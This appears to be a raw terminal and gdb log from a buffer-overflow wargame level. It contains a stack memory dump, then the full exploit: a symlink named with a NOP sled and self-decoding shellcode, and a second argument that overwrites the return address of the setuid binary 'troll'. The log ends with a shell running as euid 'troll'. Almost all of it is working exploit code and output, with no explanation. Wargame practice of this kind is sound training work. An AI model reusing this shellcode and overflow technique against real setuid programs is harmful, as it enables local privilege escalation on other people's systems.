0x30696974 0x8a6f6a63 0xbffffac4: 0x8a5451e4 0x0cb19ae2 0x909081ce 0x90909090 0xbffffad4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffae4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaf4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb04: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb24: 0x90909090 0x90909090 0x90909090 0x90009090 0xbffffb34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb54: 0x90909090 0x90909090 0xbf909090 0x00bfbfbf 0xbffffb64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffba4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x00000000 ---Type to continue, or q to quit--- 0xbffffbe4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffda4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdc4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffde4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdf4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe14: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe24: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe34: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffea4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffec4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffed4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffee4: 0x00000000 0x00000000 0x00000000 0x682f0000 0xbffffef4: 0x2f656d6f 0x6567726f 0x706d742f 0x902f2e2f 0xbfffff04: 0x90909090 0x90909090 0x90909090 0x90909090 ---Type to continue, or q to quit--- 0xbfffff14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff64: 0xeb909090 0xc9315e11 0x6c8032b1 0x8001ff0e 0xbfffff74: 0xf67501e9 0xeae805eb 0x32ffffff 0x306951c1 0xbfffff84: 0x69697430 0x6f6a6330 0x5451e48a 0xb19ae28a 0xbfffff94: 0x9081ce0c 0x90909090 0x90909090 0x90909090 0xbfffffa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffb4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffc4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffd4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffe4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffff4: 0x90909090 0x00909090 0x00000000 Cannot access memory at address 0xc0000000 (gdb) q The program is running. Exit anyway? (y or n) y [orge@localhost tmp]$ cd .. [orge@localhost orge]$ ls tmp troll troll.c ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?2?l?y?????쀿y2i00tii0cjo?????? [orge@localhost orge]$ ln -s troll `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` [orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` argc must be two! [orge@localhost orge]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "\x90"*44+"\x44\xff\xff\xbf"'` Dyy¿ bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 [????????????????] bash$